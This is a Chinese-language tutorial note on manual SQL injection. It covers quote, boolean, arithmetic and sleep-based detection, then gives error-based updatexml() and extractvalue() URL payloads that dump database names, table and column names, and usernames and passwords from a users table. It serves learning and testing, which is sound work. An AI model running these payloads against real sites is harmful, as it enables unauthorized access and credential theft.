1.最为经典的单引号判断法:
在参数后面加上单引号,比如: http://xxx/abc.php?id=1' 如果页面返回错误,则存在 Sql 注入。
原因是无论字符型还是整型都会因为单引号个数不匹配而报错。
(如果未报错,不代表不存在 Sql 注入,因为有可能页面对单引号做了过滤,这时可以使用判断语句进行注入
判断某个网站是否存在sql注入,看是否有回显,如果有就先判断
(1)整型注入 :id=1 and 1=1,回显正常,1 and 1=2,回显不正常
也可以用id=1 or 1=1, id=1 or 1=2,不过现在网站基本都过滤点这些简单的了所以我们可以用
id=1/1,回显正常,id=1/0回显报错or id=2-1正常,id=2-2报错。
(2)字符型注入id=1' and '1'='1看是否报错,报错就说明存在sql注入
如果都没有接下来就判断存不存在其他的注入,比如延时注入(sleep函数),报错注入,布尔盲注
(3) 延时注入:可以利用if (条件,5,0),这里就是条件成立延迟五秒,不成立直接返回例:id =1 and if(database,5,0)
sleep(5):id=1 and sleep(5)sql语句延迟五秒
mid(a,b,c),从b开始截取a字符串的c位
substr(a,b,c)从b位置,截取字符串a的c长度
left(database(),1),database() #left(a,b) 从左边截取a的前b位
length(database() )=8 #判断数据库的长度
ord=ascii ascii(x)=97 #判断x的ascii码是否等于97
(4)报错注入
两个重要函数:updatexml() extractvalue ()
我们就需要构造Xpath_string格式错误,也就是我们将Xpath_string的值传递成不符合格式的参数,mysql就会报错
updatexml()函数语法:updatexml(XML_document,Xpath_string,new_value)
XML_document:是字符串String格式,为XML文档对象名称
Xpath_string:Xpath格式的字符串
new_value:string格式,替换查找到的符合条件的数据
查询当前数据库的用户信息以及数据库版本信息:
?id=1" and updatexml(1,concat(0x7e,user(),0x7e,version(),0x7e),3) --+
获取当前数据库下数据表信息:
?id=1" and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),3) --+
获取users表名的列名信息:
?id=1" and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e),3) --+
获取users数据表下username、password两列名的用户字段信息:
?id=1" and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),3) --+
?id=1" and updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),3) --+
extractvalue()函数语法:extractvalue(XML_document,XPath_string)
获取当前是数据库名称及使用mysql数据库的版本信息:
?id=1" and extractvalue(1,concat(0x7e,database(),0x7e,version(),0x7e)) --+
获取当前位置所用数据库的位置:
?id=1" and extractvalue(1,concat(0x7e,@@datadir,0x7e)) --+
获取表名:
?id=1" and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)) --+
获取users表的列名:
?id=1" and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e)) --+
获取对应的列名的信息(username/password):
?id=1" and extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e)) --+